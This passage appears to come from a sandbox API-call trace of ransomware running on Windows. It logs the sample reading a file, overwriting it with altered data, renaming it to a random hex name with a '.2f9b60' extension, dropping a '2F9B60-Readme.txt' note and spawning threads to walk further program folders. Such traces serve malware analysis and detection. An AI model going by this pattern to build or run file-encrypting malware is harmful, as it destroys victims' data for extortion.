(x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets")) returned 0x20 [0086.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets", dwFileAttributes=0x20) returned 1 [0086.395] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x918 [0086.395] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x1deafca0 | out: lpFileSize=0x1deafca0*=764) returned 1 [0086.396] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.396] ReadFile (in: hFile=0x918, lpBuffer=0x1deafc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1deafc68, lpOverlapped=0x0 | out: lpBuffer=0x1deafc20*, lpNumberOfBytesRead=0x1deafc68*=0x4, lpOverlapped=0x0) returned 1 [0086.398] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a720 [0086.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0086.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0086.398] NtQuerySystemTime (in: CurrentTime=0x1deafb60 | out: CurrentTime=0x1deafb60*=132462176922814000) returned 0x0 [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1651740e [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1651740e [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x64f115cf [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x179bd4ba [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x5e45fe83 [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x52218e83 [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1eaf9083 [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x5d340fb2 [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x549cb21f [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0xc8ef75d [0086.398] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1956d2ad [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x359d0fbd [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x6e45d6c4 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x609b35ac [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x5e30441d [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0xeb20bb3 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x369764fd [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x23b8e784 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x5e5d619c [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x42083659 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x67a2417c [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x174316ba [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1df29b38 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x7256e532 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x731c98f5 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x60925b5a [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x67fd3e79 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x67ce4a4c [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x3e103e61 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x483bcd2 [0086.399] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x3af4e472 [0086.400] RtlRandomEx (in: Seed=0x1deafb50 | out: Seed=0x1deafb50) returned 0x1dd4d0ca [0086.412] ReadFile (in: hFile=0x918, lpBuffer=0x1cd970a0, nNumberOfBytesToRead=0x2fc, lpNumberOfBytesRead=0x1deafb50, lpOverlapped=0x0 | out: lpBuffer=0x1cd970a0*, lpNumberOfBytesRead=0x1deafb50*=0x2fc, lpOverlapped=0x0) returned 1 [0086.413] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.413] WriteFile (in: hFile=0x918, lpBuffer=0x1cd9acb0*, nNumberOfBytesToWrite=0x2fc, lpNumberOfBytesWritten=0x1deafb54, lpOverlapped=0x0 | out: lpBuffer=0x1cd9acb0*, lpNumberOfBytesWritten=0x1deafb54*=0x2fc, lpOverlapped=0x0) returned 1 [0086.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a720 [0086.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad20 [0086.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad20) returned 1 [0086.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9acb0) returned 1 [0086.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970a0) returned 1 [0086.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e590) returned 1 [0086.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0086.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd86310 [0086.418] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0086.418] WriteFile (in: hFile=0x918, lpBuffer=0x1885d0*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x1deafc70, lpOverlapped=0x0 | out: lpBuffer=0x1885d0*, lpNumberOfBytesWritten=0x1deafc70*=0x134, lpOverlapped=0x0) returned 1 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c670 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e590 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0086.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b110) returned 1 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c6c0 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0086.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b140) returned 1 [0086.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e590) returned 1 [0086.420] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 [0086.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x85) returned 0x1b85c840 [0086.420] sprintf (in: _Dest=0x1b85c840, _Format="%c%c" | out: _Dest="d5") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c842, _Format="%c%c" | out: _Dest="98") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c844, _Format="%c%c" | out: _Dest="f9") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c846, _Format="%c%c" | out: _Dest="81") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c848, _Format="%c%c" | out: _Dest="e9") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c84a, _Format="%c%c" | out: _Dest="bb") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c84c, _Format="%c%c" | out: _Dest="2c") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c84e, _Format="%c%c" | out: _Dest="09") returned 2 [0086.420] sprintf (in: _Dest=0x1b85c850, _Format="%c%c" | out: _Dest="75") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c852, _Format="%c%c" | out: _Dest="15") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c854, _Format="%c%c" | out: _Dest="13") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c856, _Format="%c%c" | out: _Dest="fc") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c858, _Format="%c%c" | out: _Dest="89") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c85a, _Format="%c%c" | out: _Dest="48") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c85c, _Format="%c%c" | out: _Dest="1d") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c85e, _Format="%c%c" | out: _Dest="68") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c860, _Format="%c%c" | out: _Dest="8e") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c862, _Format="%c%c" | out: _Dest="27") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c864, _Format="%c%c" | out: _Dest="2f") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c866, _Format="%c%c" | out: _Dest="69") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c868, _Format="%c%c" | out: _Dest="51") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c86a, _Format="%c%c" | out: _Dest="80") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c86c, _Format="%c%c" | out: _Dest="14") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c86e, _Format="%c%c" | out: _Dest="96") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c870, _Format="%c%c" | out: _Dest="92") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c872, _Format="%c%c" | out: _Dest="18") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c874, _Format="%c%c" | out: _Dest="56") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c876, _Format="%c%c" | out: _Dest="d7") returned 2 [0086.421] sprintf (in: _Dest=0x1b85c878, _Format="%c%c" | out: _Dest="0b") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c87a, _Format="%c%c" | out: _Dest="26") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c87c, _Format="%c%c" | out: _Dest="11") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c87e, _Format="%c%c" | out: _Dest="83") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c880, _Format="%c%c" | out: _Dest="27") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c882, _Format="%c%c" | out: _Dest="f1") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c884, _Format="%c%c" | out: _Dest="65") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c886, _Format="%c%c" | out: _Dest="53") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c888, _Format="%c%c" | out: _Dest="c4") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c88a, _Format="%c%c" | out: _Dest="d9") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c88c, _Format="%c%c" | out: _Dest="62") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c88e, _Format="%c%c" | out: _Dest="5c") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c890, _Format="%c%c" | out: _Dest="72") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c892, _Format="%c%c" | out: _Dest="9f") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c894, _Format="%c%c" | out: _Dest="de") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c896, _Format="%c%c" | out: _Dest="b1") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c898, _Format="%c%c" | out: _Dest="8d") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c89a, _Format="%c%c" | out: _Dest="f2") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c89c, _Format="%c%c" | out: _Dest="06") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c89e, _Format="%c%c" | out: _Dest="5f") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c8a0, _Format="%c%c" | out: _Dest="0c") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c8a2, _Format="%c%c" | out: _Dest="22") returned 2 [0086.422] sprintf (in: _Dest=0x1b85c8a4, _Format="%c%c" | out: _Dest="3e") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8a6, _Format="%c%c" | out: _Dest="38") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8a8, _Format="%c%c" | out: _Dest="a0") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8aa, _Format="%c%c" | out: _Dest="5b") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8ac, _Format="%c%c" | out: _Dest="5a") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8ae, _Format="%c%c" | out: _Dest="1c") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8b0, _Format="%c%c" | out: _Dest="22") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8b2, _Format="%c%c" | out: _Dest="84") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8b4, _Format="%c%c" | out: _Dest="b2") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8b6, _Format="%c%c" | out: _Dest="d5") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8b8, _Format="%c%c" | out: _Dest="00") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8ba, _Format="%c%c" | out: _Dest="5d") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8bc, _Format="%c%c" | out: _Dest="31") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8be, _Format="%c%c" | out: _Dest="4a") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8c0, _Format="%c%c" | out: _Dest="f5") returned 2 [0086.423] sprintf (in: _Dest=0x1b85c8c2, _Format="%c%c" | out: _Dest="86") returned 2 [0086.423] RtlInitAnsiString (in: DestinationString=0x1deafce8, SourceString="d598f981e9bb2c09751513fc89481d688e272f6951801496921856d70b26118327f16553c4d9625c729fdeb18df2065f0c223e38a05b5a1c2284b2d5005d314af586" | out: DestinationString="d598f981e9bb2c09751513fc89481d688e272f6951801496921856d70b26118327f16553c4d9625c729fdeb18df2065f0c223e38a05b5a1c2284b2d5005d314af586") [0086.423] RtlAnsiStringToUnicodeString (in: DestinationString=0x1deafcb8, SourceString="d598f981e9bb2c09751513fc89481d688e272f6951801496921856d70b26118327f16553c4d9625c729fdeb18df2065f0c223e38a05b5a1c2284b2d5005d314af586", AllocateDestinationString=1 | out: DestinationString="d598f981e9bb2c09751513fc89481d688e272f6951801496921856d70b26118327f16553c4d9625c729fdeb18df2065f0c223e38a05b5a1c2284b2d5005d314af586") returned 0x0 [0086.423] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166e00 [0086.423] wcscat (in: _Dest=0x1b7ad700, _Source="d598f981e9bb2c09751513fc89481d688" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688") returned="C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688" [0086.424] wcscat (in: _Dest=0x1b7ad700, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688.2f9b60") returned="C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688.2f9b60" [0086.424] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688.2f9b60", NtPathName=0x1deafc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\MSBuild\\d598f981e9bb2c09751513fc89481d688.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0086.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106580 [0086.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 [0086.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0086.427] NtQueryInformationFile (in: FileHandle=0x918, IoStatusBlock=0x1deafcf8, FileInformation=0x1deafd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1deafcf8, FileInformation=0x1deafd08) returned 0x0 [0086.427] NtSetInformationFile (FileHandle=0x918, IoStatusBlock=0x1deafcf8, FileInformation=0x1deafd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0086.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad700) returned 1 [0086.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166e00) returned 1 [0086.430] FlushFileBuffers (hFile=0x918) returned 1 [0086.431] CloseHandle (hObject=0x918) returned 1 [0086.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86e330 [0086.432] wcscpy (in: _Dest=0x1b86e330, _Source="C:\\Program Files (x86)\\MSBuild\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\") returned="C:\\Program Files (x86)\\MSBuild\\" [0086.432] wcscat (in: _Dest=0x1b86e330, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\MSBuild\\2F9B60-Readme.txt" [0086.432] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\2f9b60-readme.txt")) returned 0xffffffff [0086.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\msbuild\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x918 [0086.433] WriteFile (in: hFile=0x918, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x1deafbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x1deafbb0*=0xba9, lpOverlapped=0x0) returned 1 [0086.434] CloseHandle (hObject=0x918) returned 1 [0086.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e330) returned 1 [0086.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783ef0) returned 1 Thread: id = 173 os_tid = 0x7c0 [0086.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e610 [0086.415] wcscpy (in: _Dest=0x1b85e610, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0086.415] wcscat (in: _Dest=0x1b85e610, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0086.415] wcscat (in: _Dest=0x1b85e610, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*" [0086.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61910 [0086.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd862b0 [0086.416] wcscmp (_String1=".", _String2=".") returned 0 [0086.416] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.416] wcscmp (_String1="..", _String2=".") returned 1 [0086.416] wcscmp (_String1="..", _String2="..") returned 0 [0086.416] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1 [0086.416] wcscmp (_String1="Framework", _String2=".") returned 1 [0086.417] wcscmp (_String1="Framework", _String2="..") returned 1 [0086.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b783cb0 [0086.417] wcscpy (in: _Dest=0x1b783cb0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft" [0086.417] wcscat (in: _Dest=0x1b783cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\" [0086.417] wcscat (in: _Dest=0x1b783cb0, _Source="Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0090.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b783cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0090.513] FindNextFileW (in: hFindFile=0x1cd862b0, lpFindFileData=0x1cd61910 | out: lpFindFileData=0x1cd61910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0090.513] FindClose (in: hFindFile=0x1cd862b0 | out: hFindFile=0x1cd862b0) returned 1 [0090.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd61910) returned 1 [0090.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 [0090.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 Thread: id = 174 os_tid = 0x174 [0086.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd86310 [0086.438] wcscpy (in: _Dest=0x1cd86310, _Source="C:\\Program Files (x86)\\Windows Mail\\en-US" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US") returned="C:\\Program Files (x86)\\Windows Mail\\en-US" [0086.438] wcscat (in: _Dest=0x1cd86310, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\" [0086.438] wcscat (in: _Dest=0x1cd86310, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Windows Mail\\en-US\\*") returned="C:\\Program Files (x86)\\Windows Mail\\en-US\\*" [0086.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61b80 [0086.438] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86370 [0086.438] wcscmp (_String1=".", _String2=".") returned 0 [0086.438] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.439] wcscmp (_String1="..", _String2=".") returned 1 [0086.439] wcscmp (_String1="..", _String2="..") returned 0 [0086.439] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0086.439] wcscmp (_String1="msoeres.dll.mui", _String2=".") returned 1 [0086.439] wcscmp (_String1="msoeres.dll.mui", _String2="..") returned 1 [0086.439] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0086.439] wcscmp (_String1="WinMail.exe.mui", _String2=".") returned 1 [0086.439] wcscmp (_String1="WinMail.exe.mui", _String2="..") returned 1 [0086.439] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, 